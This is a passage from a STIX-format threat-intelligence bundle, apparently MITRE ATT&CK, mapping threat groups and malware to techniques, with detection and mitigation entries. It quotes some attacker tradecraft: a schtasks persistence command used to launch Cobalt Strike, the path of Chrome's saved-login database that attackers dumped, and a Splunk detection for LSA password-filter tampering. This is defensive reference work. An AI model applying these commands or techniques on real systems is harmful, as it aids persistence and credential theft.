2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1dd1bd5b-8639-48bd-81bd-c34c61fd464a","created":"2020-12-28T19:06:02.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.645Z","description":"(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1dd2f471-eeba-4deb-b0ad-d334ebfab627","created":"2022-03-30T14:26:51.871Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.","modified":"2022-04-20T00:00:43.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1dd3f4ff-93fe-4c10-8a0c-5afb8a2c03f4","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:16:03.536Z","description":"Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nAnalytic 1 - Unauthorized modifications to Registry entries for password filters.\n\n index=windows_logs sourcetype=\"WinEventLog:Security\" (EventCode=4657 OR EventCode=4688)\n| search (\n (TargetObject=\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\" AND ValueName=\"Notification Packages\")\n OR (TargetObject=\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\" AND ValueName=\"Authentication Packages\")\n OR (CommandLine=\"*reg.exe*\" AND CommandLine=\"*add*\" AND CommandLine=\"*Lsa*\")\n )\n| eval Modification_Type=case(\n like(CommandLine, \"%reg.exe% add%\"), \"Command Line Registry Edit\",\n EventCode=4657, \"Direct Registry Modification\"\n )","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1dd52d2b-6245-4620-aabf-161ed260965a","created":"2024-09-17T18:32:29.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-26T18:02:28.423Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has called `msiexec` to install remotely-hosted MSI files.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ddae833-8280-4afa-b2b0-e250e22104fe","type":"relationship","created":"2019-06-21T15:15:19.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2022-03-30T20:42:33.572Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.(Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ddc8822-55de-4671-8a73-c95d6383016f","created":"2020-09-22T19:21:20.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.418Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used scheduled tasks to invoke Cobalt Strike including through batch script schtasks /create /ru \"SYSTEM\" /tn \"update\" /tr \"cmd /c c:\\windows\\temp\\update.bat\" /sc once /f /st and to maintain persistence.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1de3d895-7bf9-4b60-b819-d49b31a26b38","created":"2023-09-06T14:27:42.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.632Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to use an RC4 key to encrypt communications to and from actor-controlled C2 servers.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1de5c5fb-ba73-446b-8596-225cb5bcb611","type":"relationship","created":"2020-08-31T15:06:48.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.148Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has deployed scripts on compromised systems that automatically scan for interesting documents.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1deaad9b-3a33-421b-b13b-6dcad02707cf","created":"2024-08-01T22:09:10.398Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:09:10.398Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) gathers information on the infected system owner and user.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1deb3a34-8b7d-449d-8213-81a73fd9d642","created":"2023-08-03T18:27:14.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.645Z","description":"(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1df5eebc-94f5-44ae-8feb-8d3a89fbfc4e","type":"relationship","created":"2019-06-20T16:44:52.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2019-07-17T01:18:33.179Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses netstat -aon to gather network connection information.(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.451Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) dumped the login data database from \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1dfbbbe3-c04d-4ad6-98bf-15a9cd84ab06","created":"2023-04-05T15:22:47.622Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:22:47.622Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can collect the username from a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-03-17T01:22:43.713Z","description":"For early [Gazer](https://attack.mitre.org/software/S0168) versions, the compilation timestamp was faked.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e03e6e0-8b7b-4e93-a955-245561085aae","created":"2020-10-15T13:56:46.934Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cleaver](https://attack.mitre.org/groups/G0003) has used custom tools to facilitate ARP cache poisoning.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.652Z","description":"[RTM](https://attack.mitre.org/software/S0148) collects data from the clipboard.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e049e66-14ce-46d5-8af1-d93ea35f4aec","created":"2022-02-21T15:38:23.557Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used legitimate process names to hide malware including svchosst.(Citation: Unit 42 Gamaredon February 2022)","modified":"2022-04-19T15:02:18.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e04ed60-7e43-4bad-a4c2-462b0b001dda","created":"2022-09-16T16:33:56.585Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:33:56.585Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e05bf60-ac1b-4497-a9bc-55eff65cf927","type":"relationship","created":"2021-04-05T20:52:47.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-05T20:52:47.220Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used AES-256 and 3DES for C2 communications.(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e075dae-a0df-4ab9-a297-fda2248bc254","type":"relationship","created":"2021-05-24T15:06:11.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-24T15:06:11.250Z","description":"[PS1](https://attack.mitre.org/software/S0613) can inject its payload DLL Into memory.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e0c4d65-a4db-42e0-9eb0-93354ad56d06","type":"relationship","created":"2019-06-21T13:56:39.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","source_name":"FireEye WMI 2015"}],"modified":"2021-10-15T23:58:08.033Z","description":"Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e0fdaa6-7a6f-4bd6-a1ef-3ee85d1d89b2","type":"relationship","created":"2019-06-07T14:53:09.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.646Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can list running processes.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e1045dd-0ae7-427e-a205-d41c88b0a5d9","created":"2021-12-02T15:55:44.539Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) has been deployed as `w64time.dll` to appear legitimate.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:24:31.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e10af38-1695-45ab-8db2-8cd476a58a45","type":"relationship","created":"2020-07-01T21:05:18.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.366Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has used the ps command 